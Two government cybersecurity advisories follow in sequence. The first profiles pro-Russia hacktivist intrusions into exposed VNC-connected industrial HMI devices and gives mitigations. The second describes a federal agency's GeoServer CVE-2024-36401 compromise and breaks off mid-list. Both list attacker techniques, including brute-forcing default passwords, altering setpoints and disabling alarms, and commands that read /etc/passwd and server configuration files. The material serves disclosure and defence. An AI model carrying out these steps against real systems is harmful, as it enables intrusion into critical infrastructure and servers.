Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

• U.S. Department of Energy (DOE)
• U.S. Environmental Protection Agency (EPA)
• U.S. Department of Defense Cyber Crime Center (DC3)
• Europol European Cybercrime Centre (EC3)
• EUROJUST – European Union Agency for Criminal Justice Cooperation
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (Cyber Centre)
• Canadian Security Intelligence Service (CSIS)
• Czech Republic Military Intelligence (VZ)
• Czech Republic National Cyber and Information Security Agency (NÚKIB)
• Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
• French National Cybercrime Unit – Gendarmerie Nationale (UNC)
• French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
• German Federal Office for Information Security (BSI)
• Italian State Police (PS)
• Latvian State Police (VP)
• Lithuanian Criminal Police Bureau (LKPB)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• Romanian National Police (PR)
• Spanish Civil Guard (GC)
• Spanish National Police (CNP)
• Swedish Polisen (SC3)
• United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

• Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
• Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
• Use VNC software to access hosts [T1021.005].
• Confirm connection to the vulnerable device [T0886].
• Brute force the password, if required [T1110.003].
• Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
• Log the confirmed vulnerable device IP address, port, and password.
• Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
  • Modify usernames/passwords [T0892];
  • Modify parameters [T0836];
  • Modify device name [T0892];
  • Modify instrument settings [T0831];
  • Disable alarms [T0878];
  • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
  • Device restart or shutdown [T0816].
• Disconnect from the device, ending the VNC connection.
• Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
3. Reimage compromised hosts.
4. Provision new account credentials.
5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

• Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 2.X].
  • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
    Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
  • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 2.F].
  • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
    • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
    • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
    • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
    • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
• Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 1.A].
  • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
    • Keep VNC systems updated with the latest version available.
  • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
• Ensure OT assets use robust authentication procedures.
  • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
  • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 2.A] [CPG 2.B] [CPG 2.C] [CPG 2.H].
  • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 2.G].
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 2.V].
  • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
• Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 2.E].
• Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
  • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 5.A].
  • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 2.R].
• Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
• Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
• Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

• Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
• Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
• Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
  • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
• Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

• CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
• CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
• NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
• CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
  • For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.
• The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
• DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

• EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
• CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
• CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
• CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
• DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
• CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
• CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.
  • See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

• Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

• CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
• The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
• CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

• GRU military unit 74455
  • Sandworm Team
  • Voodoo Bear
  • Seashell Blizzard
  • APT44
• Cyber Army of Russia Reborn (CARR)
  • CyberArmy of Russia
  • Народная CyberАрмия (НКА)
  • People’s CyberArmy of Russia (PCA)
  • Russian CyberArmy Team (RCAT)
• NoName057(16)
  • NoName057(16) Spain
  • NoName057(16) Italy
  • NoName057(16) France
• Z-Pentest
  • Z-Pentest Beograd
  • Z-Pentest Alliance
  • Z-Alliance

Source: US-CERT Alerts

Introduction

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory to highlight lessons learned from an incident response engagement CISA conducted at a U.S. federal civilian executive branch (FCEB) agency. CISA is publicizing this advisory to reinforce the importance of prompt patching, as well as preparing for incidents by practicing incident response plans and by implementing logging and aggregating logs in a centralized out-of-band location. CISA is also raising awareness about the tactics, techniques, and procedures (TTPs) employed by these cyber threat actors to help organizations safeguard against similar exploits.

CISA began incident response efforts at an FCEB agency after the agency identified potential malicious activity through security alerts generated by the agency’s endpoint detection and response (EDR) tool. CISA discovered cyber threat actors compromised the agency by exploiting CVE-2024-36401 in a GeoServer about three weeks prior to the EDR alerts. Over the three-week period, the cyber threat actors gained separate initial access to a second GeoServer via the same vulnerability and moved laterally to two other servers.

Leveraging insights CISA gleaned from the organization’s security posture and response, CISA is sharing lessons learned for organizations to mitigate similar compromises (see Lessons Learned for more details):

1. Vulnerabilities were not promptly remediated.
   1. The cyber threat actors exploited CVE-2024-36401 for initial access on two GeoServers.
   2. The vulnerability was disclosed 11 days prior to the cyber threat actors accessing the first GeoServer and 25 days prior to them accessing the second GeoServer.
2. The agency did not test or exercise their incident response plan (IRP), nor did their IRP enable them to promptly engage third parties and grant third parties access to necessary resources.
   1. This delayed certain elements of CISA’s response as the IRP did not have procedures for involving third-party assistance or for granting third-party access to their security tools.
3. EDR alerts were not continuously reviewed, and some public-facing systems lacked endpoint protection.
   1. The activity remained undetected for three weeks; the agency missed an opportunity to detect this activity earlier as they did not observe an alert from a GeoServer and the Web Server did not have endpoint protection.

These lessons highlight strategies to effectively mitigate risk, enhance preparedness, and respond to incidents with greater efficiency. CISA encourages all organizations to consider the lessons learned and apply the associated recommendations in the Mitigations section of this advisory to improve their security posture.

This advisory also provides the cyber threat actors’ TTPs and indicators of compromise (IOCs). For a downloadable copy of IOCs, see:

• AA25-266A-JSON.stix_.json
• AA25-266A-STIX.stix_.xml

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 17. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Threat Actor Activity

CISA responded to a suspected compromise of a large FCEB agency after the agency’s security operations center (SOC) observed multiple endpoint security alerts.

During the incident response, CISA discovered that cyber threat actors gained access to the agency’s network on July 11, 2024, by exploiting GeoServer vulnerability CVE 2024-36401 [CWE-95: “Eval Injection”] on a public-facing GeoServer (GeoServer 1). This critical vulnerability, disclosed June 30, 2024, allows unauthenticated users to gain remote code execution (RCE) on affected GeoServer versions ^[1]. The cyber threat actors used this vulnerability to download open source tools and scripts and establish persistence in the agency’s network. (CISA added this vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog on July 15, 2024.)

After gaining initial access to GeoServer 1, the cyber threat actors gained separate initial access to a second GeoServer (GeoServer 2) on July 24, 2024, by exploiting the same vulnerability. They moved laterally from GeoServer 1 to a web server (Web Server) and then a Structured Query Language (SQL) server. On each server, they uploaded (or attempted to upload) web shells such as China Chopper, along with scripts designed for remote access, persistence, command execution, and privilege escalation. The cyber threat actors also used living off the land (LOTL) techniques.

See Figure 1 for an overview of the cyber threat actors’ activity and the following sections for detailed threat actors TTPs.

Figure 1. Overview of Threat Actor Activity

Reconnaissance

The cyber threat actors identified CVE-2024-36401 in the organization’s public-facing GeoServer using Burp Suite Burp Scanner [T1595.002]. CISA detected this scanning activity by analyzing web logs and identifying signatures associated with the tool. Specifically, CISA observed domains linked to Burp Collaborator—a component of Burp Suite used for vulnerability detection—originating from the same IP address the cyber threat actors later used to exploit the GeoServer vulnerability for initial access.

Resource Development

The cyber threat actors used publicly available tools to conduct their malicious operations. In one instance, they gained remote access to the organization’s network and leveraged a commercially available virtual private server (VPS) from a cloud infrastructure provider [T1583.003].

Initial Access

To gain initial access to GeoServer 1 and GeoServer 2, the cyber threat actors exploited CVE 2024-36401 [T1190]. They leveraged this vulnerability to gain RCE by performing “eval injection,” a type of code injection that allows an untrusted user’s input to be evaluated as code. The cyber threat actors likely attempted to load a JavaScript extension to gain webserver information as an Apache wicket on GeoServer 1. However, their efforts were likely unsuccessful, as CISA observed attempts to access the .js file returning 404 responses in the web logs, indicating that the server could not find the requested URL.

Persistence

The cyber threat actors primarily used web shells [T1505.003] on internet-facing hosts, along with cron jobs (scheduled commands that run automatically at specified times) [T1053.003], and valid accounts [T1078] for persistence. CISA also identified the creation of accounts—although these accounts were later deleted—with no evidence indicating further use.

Privilege Escalation

The cyber threat actors attempted to escalate privileges with the publicly available dirtycow tool ^[2], which can be used to exploit CVE-2016-5195 [CWE-362: “Race Condition”] [T1068]. After compromising web service accounts, they escalated their local privileges to transition away from these service accounts (it is unknown how they escalated privileges).

Note: CVE-2016-5195 affects Linux kernel 2.x through 4.x before 4.8.3 and allows users to escalate privileges. CISA added this CVE to its KEV Catalog on March 3, 2022.

Defense Evasion

To evade detection, the cyber threat actors employed indirect command execution via .php web shells and xp_cmdshell [T1202] and abused Background Intelligence Transfer Service (BITS) jobs [T1197]. CISA also observed files on GeoServer 1 named RinqQ.exe and RingQ.rar, which likely refer to a publicly available defense evasion tool called RingQ ^[3], that the cyber threat actors staged for potential use.

Note: CISA could not recover most of the files on the host to confirm their contents.

Credential Access

Once inside the organization’s network, the cyber threat actors primarily relied on brute force techniques [T1110] to obtain passwords for lateral movement and privilege escalation. They also accessed service accounts by exploiting their associated services.

Discovery

After gaining initial access, the cyber threat actors conducted discovery to facilitate lateral movement. They performed ping sweeps of hosts within specific subnets [T1018] and downloaded the fscan tool ^[4] to scan the organization’s network. CISA identified the use of the fscan tool by analyzing evidence of its output found on disk. (Note: fscan is publicly available on GitHub and is capable of port scanning, fingerprinting, and web vulnerability detection—among other functions.) Between July 15 and 31, 2024, the cyber threat actors conducted extensive network and vulnerability scanning using fscan and linux-exploit-suggester2.pl. CISA’s host forensics analysts uncovered this activity by reviewing remnants the cyber threat actors left on disk.

GeoServer 1

The cyber threat actors leveraged CVE-2024-36401 to execute the following host discovery commands on GeoServer 1:

• uname-a
• df-h
• env
• ps -aux
• ipconfig [T1016]
• date
• who -b
• rpm -qa polkit
• netstat -ano [T1049]

Additionally, they employed LOTL techniques for user, service, filesystem, and network discovery on GeoServer 1:

• cat /etc/passwd [T1087.001]
• cat /etc/resolv.conf
• cat /usr/local/apache-tomcat-9.0.89/webapps/geoserver/WEB-INF/web.xml
• cat /etc/redhat-release [T1082]
• cat /etc/os-release 

The cyber threat actors then used curl commands to download a shell script named mm.sh (which they renamed to aa.sh) and a zip file named aaa.zip to the /tmp/ directory.

Subsequently, they enumerated the internal network from GeoServer 1, identifying Secure Shell (SSH) listeners, File Transfer Protocol (FTP) servers, file servers, and web servers [T1046] by using the fscan tool. (Note: CISA observed endpoint logs that showed the cyber threat actors uploaded fscan to the compromised host and ran it against internal systems.) The actors then attempted to brute force login credentials for the exploited web services to gain remote access, achieve RCE, or move laterally.

The cyber threat actors also conducted ping sweeps of several hosts within the organization’s internal subnets using fscan. Their use of the -nobr and -nopoc flags for fscan indicated that this scan excluded brute forcing or vulnerability scanning, respectively.

SQL Server

CISA observed the following discovery commands on the organization’s SQL server:

• whoami [T1033]
• ipconfig /all
• ping -n 1 8.8.8.8
• systeminfo
• tasklist [T1057]
• dir c: [T1083]
• dir c:Users
• type c:Last.txt
